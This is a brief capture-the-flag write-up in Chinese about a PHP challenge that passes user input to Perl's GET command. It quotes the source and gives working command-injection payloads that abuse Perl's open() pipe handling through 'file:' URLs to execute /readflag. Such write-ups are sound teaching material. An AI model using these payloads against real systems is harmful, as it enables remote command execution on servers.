<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
前面的代碼返回了我的ip,和orange一起進行md5加密。通過url參數輸入的內容會以GET命令執行,
命令執行的結果會被存入我們以filename參數的值命名的文件里
嘗試讀取根目錄,並創建文件名為12的文件
用curl查看文件,發現flag文件和readflag。flag是不能直接查看的,需要執行readflag查看flag

知識點:perl腳本GET open命令漏洞
GET是Lib for WWW in Perl中的命令 目的是模擬http的GET請求,GET函數底層就是調用了open處理
open存在命令執行,並且還支持file函數
構造payload:?url=file:bash -c /readflag|&filename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=123
因為我們傳入的是文件名,如果文件不存在是無法被執行的,所以我們用filename創建同名的文件,
之后再任意創建一個文件名,訪問就可以了

